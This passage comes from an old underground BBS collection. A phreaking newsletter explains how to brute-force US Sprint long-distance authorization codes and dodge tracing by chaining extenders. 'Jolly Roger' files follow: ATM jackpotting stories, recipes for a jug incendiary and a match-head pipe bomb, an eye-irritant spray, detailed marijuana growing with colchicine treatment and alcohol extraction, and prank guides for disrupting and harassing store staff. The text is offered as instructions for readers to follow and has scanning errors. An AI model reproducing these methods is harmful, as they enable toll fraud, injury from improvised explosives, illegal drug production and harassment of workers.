hand, it will tell the topic of the next issue, therefore, if you have 
something to contribute, then you will have ample time to prepare your 
article. 


Hardware/Software Review 

In this section, we will review the good and bad points of hardware 
and software related to the underworld. It will be an extensive review, 
rather than just a small paragraph. 


The Tops 


This section will be the area where the top underworld BBS's, hacking 
programs, modem scanners, etc. will be shown. This will be reader 
selected and will not be altered in anyway. The topics are listed below. 
Underworld BBS’s (Hack, Phreak, Card, Anarchy, etc.) 

Hacking programs for Hayes compatables 

Hacking programs for 1030/Xm301 modems 

Modem scanners for Hayes compatables 

Modem scanners for 1030/Xm301 modems 

Other type illegal programs 

You may add topics to the list if enough will support it. 


Tid Bits 


This will contain tips and helpful information sent in by the users. 

If you have any information you wish to contribute, then put it in a text 
file and upload it to one of the BBS's listed at the end of the 

newsletter. 

Please, no long distance codes, mainframe passwords, etc. 

We may add other sections as time goes by. This newsletter will not 

be put out on a regular basis. It will be put out when we have enough 
articles and information to put in it. There may be up to 5 a month, but 
there will always be at least one a month. We would like you, the readers, 
to send us anything you feel would be of interest to others, like hacking 
hints, methods of hacking long distance companies, companies to card from, 
etc. We will maintain the newsletter as long as the readers support it. 
That is the end of the introduction, but take a look at this newsletter, 

as it does contain information that may be of value to you. 


Hacking Sprint: The Easy Way 


By: Tracker 


If you hack US Sprint, 950-0777 (by the way it is no longer GTE 

Sprint), and you are fustrated at hacking several hours only to find one 

or two codes, then follow these tips, and it will increase your results 
tremendously. First, one thing that Mr. Mojo proved is that Sprint will 
not store more than one code in every hundred numbers. (ex: 98765400 to 
98765499 may contain only one code). There may NOT be a code in that 
hundred, but there will never be more than one. 

Sprint's 9 digit codes are stored from 500000000 through 999999999, 

In the beginning of Sprint's 950 port, they only had 8 digit codes. Then 
they started converting to 9 digit codes, storing all 8 digit codes 

between 10000000 and 49999999 and all 9 digit codes between 500000000 and 
999999999. Sprint has since cancelled most 8 digit codes, although there 
are a few left that have been denoted as test codes. Occaisionally, I 

hear of phreaks saying they have 8 digit codes, but when verifying them, 
the codes were invalid. 

Now, where do you start? You have already narrowed the low and high 
numbers in half, therefore already increasing your chances of good results 
by 50 percent. The next step is to find a good prefix to hack. By the 

way, a prefix, in hacking terms, is the first digits in a code that can be 

any length except the same number of digits the code is. (ex: 123456789 
isacode. That means 1, 12, 123, 1234, 12345, 123456, 1234567, and 
12345678 are prefixes) The way you find a good prefix to hack is to 
manually enter a code prefix. If when you enter the code prefix and a 
valid destination number and you do not hear the ringing of the recording 
telling you that the code is invalid until near the end of the number, 


then you know the prefix is valid. Here is a chart to follow when doing 
this: 

Code - Destination Range good codes exist 

123456789 - 6192R 123400000 - 123499999 

123456789 - 619267R 123450000 - 123459999 

123456789 - 61926702R 123456000 - 123456999 

123456789 - 6192670293R 123456700 - 123456799 

(R - Denotes when ring for recording starts) 

To prove 

this true, ] ran a test using OmniHack 1.3p, written by 

Jolly Joe. In this test I found a prefix where the last 3 digits were all 

Thad to hack. I tested each hundred of the 6 digit prefix finding that 

all but 4 had the ring start after the fourth digit was dialed in the 
destination number. The other four did not ring until I had finished the 
entire code. I set OmniHack to hack the prefix + 00 until prefix + 99, 

(eX: Xxxxxxy00 to Xxxxxxy99: where y is one of the four numbers that the 
ring did not start until the dialing was completed.) Using this method, I 
found four codes in a total of 241 attempts using ascending hacking (AKA: 
Sequential), Below you will see a record of my hack: 

Range of hack Codes found Tries 

XXXXXX300 - XXXXXX399 — Xxxxxx350 50 

XXXXXX500 - XxXxxxx599 —-Xxxxxx568 68 

XXXXXX600 - XXXXxx699 —_ xxxxxx646 46 

Xxxxxx800 - xxxxxx899 — xxxxxx877 77 

Totals 4 codes 241 

As you see, these methods work. Follow these guidlines and tips and 

you should have an increase in production of codes in the future hacking 
Sprint. Also, if you have any hints/tips you think others could benefit 
from, then type them up and upload them to one of the boards at the end of 
the newsletter. 


By: Tracker 
Do you ever get tired of hearing rumors? You know, someone gets an 
urge to impress others, so they create a rumor that some long distance 
company is now using tracing equipment. Why start rumors? It only scares 
others out of phreaking, and then makes you, the person who started the 
rumor, look like Mr. Big. This article is short, but it should make you 
aware of the rumors that people spread for personal gain. The best thing 


to do is to denote them as a rumor starter and then leave it at that. You 
should not rag on them constantly, since if the other users cannot 
determine if it is fact or ramor, then they should suffer the 
consequences, 


By: Tracker 
US Sprint has opened up a new long distance network called the Fiber 
Optic Network (FON), in which subscribers are given calling cards. These 
calling cards are 14 digits, and though, seem randomly generated, they are 
actually encrypted. The rumors floating around about people getting 
caught using the Sprint FON calling cards are fact, not rumors. The 
reason people are getting caught is that they confuse the FON calling 
cards with the local 950 port authorization codes. If you will remember, 
you never use AT&T calling cards from you home phone. It has ANI 
capability, which is not tracing, but rather the originating phone number 
is placed on the bill as soon as the call is completed. They know your 
phone number when you call the 800 access port, but they do not record it 
until your call is completed. Also, through several of my hacks, I came 
up with some interesting information surrounding the new Sprint network. 
They are listed below. 
800-877-0000 
This number is for information on US Sprint's 800 calling card 
service. I have not played around with it, but I believe it is for 
trouble or help with the FON calling cards. I am not sure if it is for 
subscribing to the FON network. 
800-877-0002 - You hear a short tone, then nothing. 
800-877-0003 - US Sprint Alpha Test Channel #1 
800-877-(0004-0999) 
When you call these numbers, you get a recording saying: "Welcome to 
US Sprint's | plus service.” When the recording stops, if you hit the 
pound key (#) you will get the calling card dial tone. 
Other related Sprint numbers 
800-521-4949 This is the number that you subscribe to US Sprint with. 
You may also subscribe to the FON network on this number. It will take 4 
to 5 weeks for your calling card to arrive. 
10777 
This is US Sprint's equal access number. When you dial this number, 
you then dial the number you are calling, and it will be billed through US 
Sprint, and you will receive their long distance line for that call. Note 
that you will be billed for calls made through equal access. Do not 
mistake it to be a method of phreaking, unless used from a remote 
location, 


If you are in US Sprint's 1+ service then call 1+700-555-1414, which 

will tell you which long distance company you are using. When you hear: 
"Thank you for choosing US Sprint's 1 plus service," hit the pound key 
(#), and then you will get the US Sprint dia! tone. This however is just 
the same as if you are calling from your home phone if you dial direct, so 
you would be billed for calls made through that, but there are ways to use 
this to your advantage as in using equal access through a PBX. 


By: Tracker 


The true definition for Automatic Number Identification has not been 
widely known to many, Automatic Number Identification, (AKA: AND), is the 
process of the destination number knowing the originating number, which is 
where you are calling from. The method of achieving this is to send the 
phone number that you are calling from in coded form ahead of the 
destination number. Below is an example of this. 
ANI Method 
Dial: 267-0293 
Sent: ********2670293 

( * - Denotes the originating number which is coded and sent before the 

number 

As you noticed there are 8 digits in the coded number. This is 
because, at least I believe, it is stored in a binary-like form. 
Automatic Number Identification means a limited future in phreaking. ANI 
does not threaten phreaking very much yet, but it will in the near future. 
A new switching system will soon be installed in most cities that are 
covered by ESS, Electronic Switching System, now. 
The system will have ANI capabilities which will be supplied to the 
owners of phone lines as anadded extra. The owner's phone will have 
an LED read-out that will show the phone number of the people that 
call you. You will be able to block some numbers, so that people 
cannot call you. This system is in the testing stages currently, but will 
soon be installed across most of the country. As you see, this will 
end a large part of phreaking, until we, the phreakers, can come up with 
an alternative. As I have been told by several, usually reliable, 
people, this system is called ISS, which I am not sure of the meaning of 
this, and is being tested currently in Rhode Island. 
800 in-watts lines set up by AT&T support ANI. The equipment to 
decode an ANI coded origination number does not costs as much as you would 
expect. 950 ports do not offer ANI capability, no matter what you have 
been told. The 950 ports will only give the city in which they are based, 
this usually being the largest in the state, sometimes the capitol. 


One last thing that I should tell you is that ANI is not related to 

tracing. Tracing can be done on any number whether local, 950, etc. One 
way around this, especially when dialing Alliance TeleConferencing, is to 
dial through several extenders or ports. ANI will only cover the number 
that is calling it, and if you call through a number that does not support 
ANIL, then your number will never be known. 


The Disclaimer! 


We, the editors, take no responsibility for your actions and use of 

the information in this newsletter. This newsletter is for informational 
purposes only. There will never be any long distance codes, passwords, 
etc. in this newsletter. If you are easily offended by telecommunication 
discussions, then we suggest that you not read this newsletter. But for 
those who are truely interested in the information in this newsletter, 
enjoy it. 


Jackpotting ATM Machines courtesy of the Jolly Roger 


JACKPOTTING was done rather successfully a while back in (you guessed it) 
New York. What the culprits did was: 

Sever (actually cross over) the line between the ATM and the 

host. insert a microcomputer between the ATM and the host. insert 

a fradulent card into the ATM. (card=cash card, not hardware) 

What the ATM did was: send a signal to the host, saying "Hey! Can I 
give this guy money, or is he broke, or is his card invalid?" 

What the microcomputer did was: intercept the signal from the host, 
discard it, send "there's no one using the ATM" signal. 

What the host did was: get the "no one using” signal, send back "okay, 
then for God's sake don't spit out any money!" signal to ATM. 

What the microcomputer did was: 

intercept signal (again), throw it away (again), send "Wow! That 

guy is like TOO rich! Give him as much money as he wants. In 

fact, he's so loaded, give him ALL the cash we have! He is 

really a valued customer.” signal. 

What the ATM did: 

what else? Obediently dispense cash till the cows came home (or 
very nearly so). 

What the crooks got: 

well in excess of $120,000 (for one weekend's work), and several 


years when they were caught. 

This story was used ata CRYPTOGRAPHY conference | attended a while 
ago to demonstrate the need for better information security. The 

lines between ATM's & their hosts are usually 'weak' in the sense that 

he information transmitted on them is generally not encrypted in any 
way. One of the ways that JACKPOTTING can be defeated is to encrypt 
the information passing between the ATM and the host. As long as the 
key cannot be determined from the ciphertext, the transmission (and 
hence the transaction) is secure. 

A more believable, technically accurate story might concern a person 
who uses a computer between the ATM and the host to determine the key 
before actually fooling the host. As everyone knows, people find 
cryptanalysis a very exciting and engrossing subject...don't they? 
Hee-Hee) 
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The B of A ATM's are connected through dedicated lines to a host 
computer as the Bishop said. However, for maintenance purposes, there 
is at least one separate dial-up line also going to that same host 
computer. This guy basically bs'ed his way over the phone till he 

found someone stupid enough to give him th number. After finding that, 
he had has Apple hack at the code. Simple. 

Step 2: He had a friend go to an ATM with any B of A ATM card. He 
stayed at home with the Apple connected to the host. When his friend 
inserted the card, the host displayed it. The guy with the Apple 
modified the status & number of the card directly in the host's 

memory. He turned the card into a security card, used for testing 
purposes. At that point, the ATM did whatever it's operator told it to 
do. 

The next day, he went into the bank with the $2000 he received, 

talked to the manager and told him every detail of what he'd done. The 
manager gave him his business card and told him that he had a job 
waiting for him when he got out of school. 

Now, B of A has been warned, they might have changed the system. On 
the other hand, it'd be awful expensive to do that over the whole 
country when only a handful of people have the resources and even less 
have the intelligence to duplicate the feat. Who knows? 

Jug Bomb by the Jolly Roger 


Take a glass jug, and put 3 to 4 drops of gasoline into it. Then put 
the cap on, and swish the gas around so the inner surface of the jug 


is coated. Then add a few drops of potassium permanganate solution 
into it and cap it. To blow it up, either throw it at something, or 
roll it at something. 

wonnee nena Jolly Roger 


Fun at K-Mart by the Jolly Roger 


Well, first off, one must realise the importance of K-Marts in 

society today. First off, K-Marts provide things cheaper to those who 
can't afford to shop at higher quality stores. Although, all | ever 

see in there is minorities and Senior Citizens, and the poor people in 
our city. Personally, | wouldn't be caught dead in there. But, once, 

I did. 

You see, once, after The Moon Roach and Havoc Chaos(Dear friends of 
mine) and I were exploring such fun things as rooftops, we came along 
a K-Mart. Amused, and cold for that matter, we wandered in. The 
Tension mounts. 

As we walked up to the entrance, we were nearly attacked by Youth 
Groups selling cheap cookies, and wheelchair sticken people selling 
American Flags. After laughing at these people, we entered. This is 
where the real fun begins... 

First, we wandered around the store, and turned on all the blue 

lights we could find. That really distracts and confuses the 
attendents...Fun to do.., 

The first neat thing, is to go to the section of the store where 

they sell computers. Darkness engulf the earth the day they find Apple 
Computers being sold there. Instead, lesser computers like the 
laughable C-64 can be found there...Turn it on, and make sure 
nobody's looking... Then, once in Basic, type... 


J10 PRINT "Fuck the world! Anarchy Rules!" (or something to that 
effect.) 
}20 GOTO 10 and walk away. 


Also, set the sample radios in the store to a santanic rock station, 
and turn the radio off. Then, set the alarm for two minutes ahead of 
the time displayed there. Turn the volume up all the way, and walk 
away. After about two minutes, you will see the clerk feebly attempt 
to turn the radio down or off. It's really neat to set ten or more 
radios to different stations, and walk away. 

One of my favorite things to do, is to get onto the intercom system 
of the store. Easier typed then done. First, check out the garden 
department. You say there's no attendent there? Good. Sneak 
carefully over to the phone behind the cheap counter there, and pick 
it up. Dial the number corrisponding to the item that says PAGE’... 


And talk. You will note that your voice will echo all over the bowels 
of K-Mart. 
I would suggest announcing something on the lines of: "Anarchy 
rules!!" 

woreen ene ee eens Jolly Roger 


Mace Substitute by the Jolly Roger 


3 PARTS: Alcohol 

1/2 PARTS: Iodine 

1/2 PARTS: Salt 

Or: 

3 PARTS: Alcohol 

1 PARTS: Iodized Salt (Mortons) 


It's not actual mace, but it does a damn good job on the eyes... 
sence eens eee Jolly Roger 
How to grow Marijuana courtesy of the Jolly Roger 


MARIJUANA 
Marijuana is a deciduous plant which grows from seeds. The fibrous section 
of the plant was (has been replaced by synthetics) used to make rope. 
The flowering tops, leaves, seeds, and resin of the plant is 
used by just about everyone to get HIGH. 
Normally, the vegetable parts of the plant are smoked to produce this 
"high," but thay can also be eaten. The axtive ingredient in marijuana 
resin is THC (tetahydrocannabinol). Marijuana contains from 1 - 4 per 
cent THC (4 per cent must be considered GOOD dope). 
Marijuana grows wild in many parts of the world, and is cultivated in 
Mexice, Vietnam, Africa, Nepal, India, South America, etc.,etc. The 
marijuana sold in the United States comes primarily from, yes, the 
Uniited States. 
It is estimated that at least 50 per cent of the grass on the streets 
in America is homegrown. The next largest bunch comes actoss the 
borders from Mexico, with smaller amounts filtering in from Panama, 
occasionally South America, and occasinally, Africa. 
Hashish is the pure resin of the marijuana plant, which is scraped from 
the flowering tops of the plant and lumped together. Ganja is the 
ground-up tops of the finest plants. (It is also the name given to any 
sort of marijuana in Jamaica.) 
Marijuana will deteriorate in about two years if exposed to light, 
air or heat. It should always be stored in cool places. 
Grass prices in the United States are a direct reflection of the laws 


of supply and demand (and you thought that high school economics 
would never be useful). A series of large border busts, a short growing 
season, a bad crop, any number of things can drive the price of marijuana 
up. Demand still seems to be on the increase in the U.S., so prices seldom 
fall below last year's level. 
Each year a small seasonal drought occurs, as last year's supply runs 
low, and next year’s crop is not up yet. Prices usually rase about 
20 - 75 per cent during this time and then fall back to "normal." 
Unquestionably, a large shortage of grass causes a percentage of smokers 
to turn to harder drugs instead. For this reason, no grass control 
program can ever be beneficial or "successful." 
GROW IT! 
There is one surefire way of avoiding high prices and the grass DT's: 
Grow your own. This is not as difficult as some "authorities" on the 
subject would make you believe. Marijuana is a weed, and a fairly 
vivacious one at that, and it will grow almost in spite of you. 
OUTDOORS 
Contrary to propular belief, grass grows well in many place on the 
North American continent. It will flourish even if the temperature does 
not raise above 75 degrees. 
The plants do need a minimum of eight hours of sunlight per day and 
should be planted in late April/early May, BUT DEFINITELY, after the 
last frost of the year. 
Growing an outdoor, or "au naturel", crop has been the favored method 
over the years, because grass seems to grow better without as much 
attention when in its natural habitat. 
Of course, an outdoors setting requires special precautions not encoun- 
tered with an indoors crop; you must be able to avoid detection, both from 
law enforcement freaks and common freaks, both of whom will take your 
weed and probably use it. Of course, one will also arrest you. You must 
also have access to the area to prepare the soil and harvest the crop. 
There are two schools of thought about starting the seeds. One says you 
should start the seedlings for about ten days in an indoor starter box 
(see the indoor section) and then transplant. The other theory is that 
you should just start them in the correct location. Fewer plants will 
come up with this method, but there is no shock of transplant to 
kill some of the seedlings halfway through. 
The soil should be preprepared for the little devils by turning it 
over a couple of times and adding about one cup of hydrated lime per 
square yard of soil and a little bit (not too much, now) of good water 
soluble nitrogen fertilizer. The soil should now be watered several 
times and left to sit about one week. 
The plants should be planted at least three feet apart, getting too 
greedy and stacking them too close will result in stunted plants. 
The plants like some water during their growing season, BUT not too 


much. This is especially true around the roots, as too much water will 
rot the root system. 
Grass grows well in corn or hops, and these plants will help provide 
some camouflage. It does not grow well with rye, spinach, or pepperweed. 
It is probally a good idea to plant in many small, broken patches, as 
people tend to notice patterns. 
GENERAL GROWING INFO 
Both the male and he female plant produce THC resin, although the male 
is not as strong as the female. In a good crop, the male wiil still be 
plenty smokable and should not be thrown away under any circumstances. 
Marijuana can reach a hight of twenty feet (or would you rather wish on 
a star) and obtain a diameter of 4 1/2 inches. If normal, it has a sex 
ratio of about 1:1, but this can be altered in several ways. 
The male plant dies in the 12th week of growing, the female will live 
another 3 - 5 weeks to produce her younguns. Females can weigh twice as 
much as males when they are mature. 
Marijuana soil should compact when you squeeze it, but should also break 
apart with a small pressure and absorb water well, A nice test 
for either indoor or outdoor growing is to add a bunch of worms to the 
soil, if they live and hang aroung, it is good soil, but if they don't, 
well, change it. Worms also help keep the soil loose enough for the 
plants to grow well. 
SEEDS 
To get good grass, you should start with the right seeds. A nice starting 
point is to save the seeds form the best batch you have consumed. The 
seeds should be virile, that is, they should not be grey and shiriveled 
up, but green, meaty, and healthy appearing. A nice test is to drop the 
seeds on a hot frying pan. If they "CRACK," they are probably good for 
planting purposes. 
The seeds should be soaked in distilled water overnight before planting. 
BE SURE to plant in the ground with the pointy end UP. Plant about 1/2" 
deep. Healthy seeds will sprout in about five days. 
SPROUTING 
The best all around sprouting method is probably to make a sprouting box 
(as sold in nurseries) with a slated bottom or use paper cups with holes 
punched in the bottoms. The sprouting soil should be a mixture of humus, 
soil, and five sand with a bit of organic fertilizer and water mixed 
in about one week before planting. 
When ready to transplant, you must be sure and leave a ball of soil 
around the roots of each plant. This whole ball is dropped into a 
baseball-sized hold in the permanent soil. 
If you are growing/transplanting indoors, you should use a green 
safe light (purchased at nurseries) during the transplanting operation. 
If you are transplanting outdoors, you should time it about two 
hours befor sunset to avoid damage to the plant. Always wear cotton 


gloves when handling the young plants. 
After the plants are set in the hole, you should water them. It is also 
a good idea to use a commercial transplant chemical (also purchased at 
nurseries) to help then overcome the shock. 
INDOOR GROWING 

ndoor growing has many advantages, besides the apparent fact that it 
is much harder to have your crop "found," you can control the ambient 
conditions just exactly as you want them and get a guaranteed "good" 
plant. 
Plants grown indoors will not appear the same as their outdoor cousins, 
They will be scrawnier appearing with a weak stems and may even require 
you to tie them to a growing post to remain upright, BUT THEY WILL HAVE 
AS MUCH OR MORE RESIN! 
If growing in a room, you should put tar paper on the floors and then 
buy sterilized bags of soil form a nursery. You will need about one 
cubic foot of soil for eavh plant. 
The plants will need about 150 ml. of water per plant/per week. They 
will also need fresh air, so the room must be ventilated. (however, 
the fresh air should contain NO TOBACCO smoke.) 
At least eight hours of light a day must be provided. As you increase 
the light, the plants grow faster and show more females/less males. 
Sixteen hours of light per day seems to be the best combination, beyond 
this makes little or no appreciable difference in the plant quality. 
Another idea is to interrupt the night cycle with about one hour of 
light. This gives you more females. 
The walls of your growing room should be painted white or covered with 
aluminum foil to reflect the light. 
The lights themselves can be either bulbs of fluorescent. Figure about 
75 watts per plant or one plant per two feet of flouresent tube. 
The fluorescents are the best, but do not use "cool white" types. The 
light sources should be an average of twenty inches from the 
plant and NEVER closer than 14 inches. They may be mounted on a rack 
and moved every few days as the plants grow. 
The very best light sources are those made by Sylvania and others 
especially for growing plants (such as the "gro lux" types). 

HARVESTING AND DRYING 
The male plants will be taller and have about five green or yellow sepals, 
which will split open to fertilize the female plant with pollen. 
The female plant is shorter and has a small pistillate flower, which 
really doesn't look like a flower at all but rather a small bunch of 
leaves in a cluster. 
If you don't want any seeds, just good dope, you should pick the males 
before they shed their pollen as the female will use some of her resin 
to make the seeds. 
After another three to five weeks, after the males are gone, the females 


will begin to wither and die (from loneliness?), this is the time to pick. 
In some nefarious Middle Eastren countries, farmers reportedly put their 
beehives next to fiels of marijuana. The little devils collect the grass 
pollen for their honey, which is supposed to contain a fair dosage 
of THC. 
The honey is then enjoyed by conventional methods or made into ambrosia. 
If you want seeds - let the males shed his pollen then pick him. Let 
the female go another month and pick her. 
To cure the plants, they must be dried. On large crops, this is 
accomplished by constructing a drying box or drying room. 
You must have a heat source (such as an electric heater) which will make 
the box/room each 130 degrees. The box/room must be ventilated 
to carry off the water-vapor-laden air and replace it with fresh, 
A good box can be constructed from an orange crate with fiberglass 
insulated walls, vents in the tops, and screen shelves to hold the leaves. 
There must be a baffle between the leaves and the heat source. 
A quick cure for smaller amounts is to: cut the plant at the soil level 
and wrap it in a cloth so as not to loose any leavs. Take out any seeds 
by hand and store. Place all the leaves on a cookie sheet or aluminum 
foil and put them in the middle sheld of the oven, which is set on "broil." 
In a few seconds, the leaves will smoke and curl up, stir them around and 
give another ten seconds before you take them out. 

TO INCREASE THE GOOD STUFF 
There are several tricks to increase the number of females, or the THC 
content of plants: 
You can make the plants mature in 36 days if you are in a hurry, by cutting 
back on the light to about 14 hours, but the plants will not be as big. 
You should gradually shorten the light cycle until you reach fourteen 
hours, 
You can stop any watering as the plants begin to bake the resin rise to 
the flowers. This will increse the resin a bit. 
You can use a sunlamp on the plants as they begin to develop flower stalks. 
You can snip off the flower, right at the spot where it joins the plant, 
and a new flower will form in a couple of weeks. 
This can be repeated two or three times to get several times more flowers 
than usual. 
If the plants are sprayed with Ethrel early in their growing stage, they 
will produce almost all female plants. This usually speeds up the flowering 
also, it may happen in as little as two weeks. 
You can employ a growth changer called colchicine. This is a bit hard to 
get and expensive. (Should be ordered through a lab of some sort and 
costs about $35 a gram.) 
To use the colchicine, you should prepare your presoaking solution of 
distilled water with about 0.10 per cent colchicine. This will cause 
many of the seeds to die and not germinate, but the ones that do come 


up will be polyploid plants. This is the accepted difference between 
such strains as "gold" and normal grass, and yours will DEFINITELY 
be superweed. 
The problem here is that colchicine is a posion in larger quanities and 
may be poisonous in the first generation of plants. Bill Frake, author 
of CONNOISSEUR'S HANDBOOK OF MARIJUANA runs a very complete colchicine 
treatment down and warns against smoking the first generation plants 
(all succeeding generations will also be polyploid) bacause of this 
poisonous quality. 
However, the Medical Index shows colchicine being given in very small 
quantities to people for treatment if various ailments. Although these 
quantities are small, they would appear to be larger than any you could 
recive form smoaking a seed-treated plant. 
It would be a good idea to buy a copy of CONNOISSEUR'S, if you are planning 
to attempt this, and read Mr. Drake's complete instructions. 
Another still-experimental process to increase the resin it to pinch off 
the leaf tips as soon as they appear from the time the plant is in the 
seedling stage on through its entire life-span. This produces a distorted, 
wrecked-looking plant which would be very difficuly to recognize as 
marijuana. Of course, there is less substance to this plant, but such 
wrecked creatures have been known to produve so much resin that it 
crystallizes a strong hash all over the surface of the plant - might 
be wise to try it on a plant or two and see what happens. 

PLANT PROBLEM CHART 
Always check the overall enviromental conditions prior to passing 
judgment - soil aroung 7 pH or slightly less - plenty of water, light, 
fresh air, loose soil, no water standing in pools. 


SYMPTOM PROBABLY PROBLEM/CURE 
Larger leaves turning yellow- Nitrogen dificiency - add 
smaller leaves still green. nitrate of soda or 


organic fertilizer. 
Older leaves will curl at edges, Phosphorsus dificiency - 
turn dark, possibaly with a purple add commercial phosphate. 


cast. 
Mature leaves develop a yellowish Magnesium dificiency - 
cast to least veinal areas. add commercial fertilizer 


with a magnesium content. 
Mature leaves turn yellow and then Potassium dificiency - 
become spotted with edge areas add muriate of potash. 
turning dark grey. 
Cracked stems, no healthy support Boron dificiency - add 
tissue. any plant food containing 

boron. 
Small wrinkled leaves with Zine dificiency - add 
yelloish vein systems. commercial plant food 


containing zinc. 
Young leaves become deformed, | Molybedum dificiency - 
possibaly yellowing. use any plant food with a 

bit of molydbenum in it. 

EXTRA SECTION: 
BAD WEED/GOOD WEED 

Can you turn bad weed into good weed? Surprisingly enough, the answer 
to this oft-asked inquiry is, yes! 
Like most other things in life, the amount of good you are going 
to do relates directly to how much effort you are going to put into it. 
There are no instant, supermarket products which you can spray on Kansas 
catnip and have wonderweed, but there are a number of simplified, 
inexpensive processes (Gee, Mr. Wizard!) thich will enhance mediocre 
grass somewhat, ant there are a couple of fairly involved processes 
which will do up even almost-parsley weed into something worth writing 
home about. 

EASES 
1, Place the dope in a container which allows air to enter in a restricted 
fashion (such as a can with nail holes punched in its lid) and add a 
bunch of dry ice, and the place the whold shebang in the freezer for a 
few days. This process will add a certain amount of potency to the product, 
however, this only works with dry ice, if you use normal, everyday 
freezer ice, you will end up with a soggy mess... 
2. Take a quantity of grass and dampen it, place in a baggie or another 
socially acceptable container, and store it in a dark, dampish place 
for a couple of weeks (burying it also seems to work), The grass will 
develop a mold which tastes a bit harsh, a and burns a tiny bit funny, 
but does increase the potency. 
3. Expose the grass to the high intensity light of a sunlamp for a full 
day or so. Personally, I don't feel that this is worth the effort, but 
if you just spent $400 of your friend's money for this brick of 
super-Colombian, right-from-the-President's-personal-stash, 
and it turns out to be Missouri weed, and you're packing your bags to 
leave town before the people arrive for their shares, well, you might 
at least try it. Can't hurt. 
4. Take the undisirable portions of our stash (stems, seeds, weak weed, 
worms, etc.) and place them in a covered pot, with enough rubbing 
alchol to cover everything. 
Now CAREFULLY boil the mixture on an ELECTRIC stove or lab burner. DO 
NOT USE GAS - the alchol is too flammable. After 45 minutes of heat, 
remove the pot and strain the solids out, SAVING THE ALCOHOL. 
Now, repeat the process with the same residuals, but fresh alchol. 
When the second boil is over, remove the solids again, combine the two 
quantities of alcohol and reboil until you have a syrupy mixture. 
Now, this syrupy mixture will contain much of the THC formerly hidden 


in the stems and such. One simply takes this syrup the throughly 
combines it with the grass that one wishes to improve upon. 

SPECIAL SECTION ON RELATED SUBJECT MARYGIN: 
Marygin is an anagram of the words marijuana and gin, as in Eli Whitney. 
It is a plastic tumbler which acts much like a commercial cottin gin. 

One takes about one ounce of an harb and breaks it up. This is then placed 
in the Marygin and the protuding knod is roatated. This action turns 
the internal wheel, which separates the grass from the debris (seeds, 
stems). 
It does not pulberize the grass as screens have a habit of doing and is 
easily washable. 
Marygin is available from: 

P.O. Box 5827 

Tuscon, Arizona 85703 

$5.00 


GRASS 

Edmund Scientific Company 

555 Edscorp Building 

Barrington, New Jersy 08007 

Free Catalog is a wonder of good things for the potential grass 
grower. They have an electric thermostat greenhouse for starting 
plants for a mere $14.95. 
Soil test kits for PH - $2.40 
Al test - $9.95 
Soil thermometer - $2.75 
Lights which approzimate the true color balance of the sun and are 
probably the most beneficial types available: 40 watt, 48 inch - 4 for 
$15.75. 
Indoor sun bulb, 75 or 150 watt - $5.75. 
And, they have a natural growth regualtor for plants (Gibberellin) which 
can change height, speed growth, and maturity, promote blossoming, 
etc. Each plant reacts differently to treatment with Gibberellin...there's 
no fun like experimenting - $2.00 

SUGGESTED READING 

THE CONNOISSEUR'S HANDBOOK OF MARIJUANA, Bill Drake 
Straight Arrow Publishing - $3.50 
625 Third Street 
San Francisco, California 


FLASH 
P.O.Box 16098 

San Fransicso, California 94116 

Stocks a series of pamphlets on grass, dope manufacture, cooking. 
Includes the Mary Jane Superweed series. 


Match Head Bomb by the Jolly Roger 


Simple safety match heads in a pipe, capped at both ends, make a 
devestating bomb. It is set off with a regular fuse. 
A plastic Baggie is put into the pipe before the heads go in to 
prevent detonation by contact with the metal. 
Cutting enough match heads to fill the pipe can be tedious work for 
one but an evening's fun for the family if you can drag them away from 
the TV. 

we neteceeeee eens, Jolly Roger 


How To Terrorize McDonalds by the Jolly Roger 
(Originally an Apple ][ file so excuse the upper case!!!) 


NOW, ALTHOUGH Mc DONALDS IS FAMOUS FOR IT'S ADVERTISING AND MAKING 
THE 
WHOLE WORLD THINK THAT THE BIG MAC IS THE BEST THING TO COME ALONG 
SINCE 
SLICED BREAD (BUNS?), EACH LITTLE RESTAURANT IS AS AMATEUR AND SIMPLE 
AS 

A NEW-FOUND BUSNESS. NOT ONLY ARE ALL THE EMPLOYEES RATHER 
INEXPERIENCED 

AT WHAT THEY'RE =SUPPOSED= TO DO, BUT THEY WILL JUST LOOSE ALL CONTROL 
WHEN 

AN EMERGENCY OCCURS....HERE WE GO!!! FIRST, GET A FEW FRIENDS (4 IS 
GOOD...’LL GET TO THIS LATER) AND ENTER THE MCDONALDS RESTAURANT, 
TALKING 

LOUDLY AND REAKING OF SOME STRANGE SMELL THAT AUTOMATICALLY MAKES 
THE OLD 

COUPLE SITTING BY THE DOOR LEAVE. IF ONE OF THOSE PIMPLY-FACED GOONS IS 
WIPING THE FLOOR, THEN TRACK SOME CRAP ALL OVER IT (YOU COULD PRETEND 
TO 

SLIP AND BREAK YOUR HEAD, BUT YOU MIGHT ACTUALLY DO SO). 

NEXT, BEFORE YOU GET THE FOOD, FIND A TABLE. START YELLING AND RELEASING 
SOME STRANGE BODY ODOR SO =ANYBODY= WOULD LEAVE THEIR TABLE AND 
WALK OUT 

THE DOOR. SIT 2 FRIENDS THERE, AND GO UP TO THE COUNTER WITH ANOTHER. 
FIND A PLACE WHERE THE LINE IS SHORT, OR IF THE LINE IS LONG SAY "I ONLY 
WANNA BUY A COKE” AND YOU GET MOVED UP, NOW, YOU GET TO DO THE 
=ORDERING= 

.. HEH HEH HEH. SOMEBODY =ALWAYS= MUST WANT A PLAIN 

HAMBURGER WITH ABSOLUTELY NOTHING ON IT (THIS TAKES EXTRA TIME TO 
MAKE, AND 

DRIVES THE LITTLE HAMBURGER-MAKERS INSANE)..ORDER A 9-PACK OF CHICKEN 


MCNUGGETS...NO, A 20 PACK...NO, THREE 6 PACKS...WAIT...GO BACK TO THE TABLE 
AND ASK WHO WANTS WHAT. YOUR OTHER FRIEND WAITS BY THE COUNTER AND 
MAKES A 

PASS AT THE FEMALE CLERK. GET BACK TO THE THING AND ORDER THREE 6-PACKS 
OF 

CHICKEN ETC....NOW SHE SAYS "WHAT KIND OF SAUCE WOULD YOU LIKE?".OF 
COURSE, 

SAY THAT YOU ALL WANT BARBECUE SAUCE ONE OF YOUR FRIENDS WANTS 2 
(ONLY IF 

THERE ARE ONLY 2 CONTAINERS OF BARBECUE SAUCE LEFT).THEN THEY HAFTA 
GO INTO 

THE STOREROOM AND OPEN UP ANOTHER BOX. FINALLY, THE DRINKS...SOMEBODY 
WANTS 

COKE, SOMEBODY ROOT BEER, AND SOMEBODY DIET COKE. AFTER THESE ARE 
DELIVERED, 

BRING THEM BACK AND SAY "I DIDN'T ORDER A DIET COKE! 1 ORDERED A SPRITE!" 
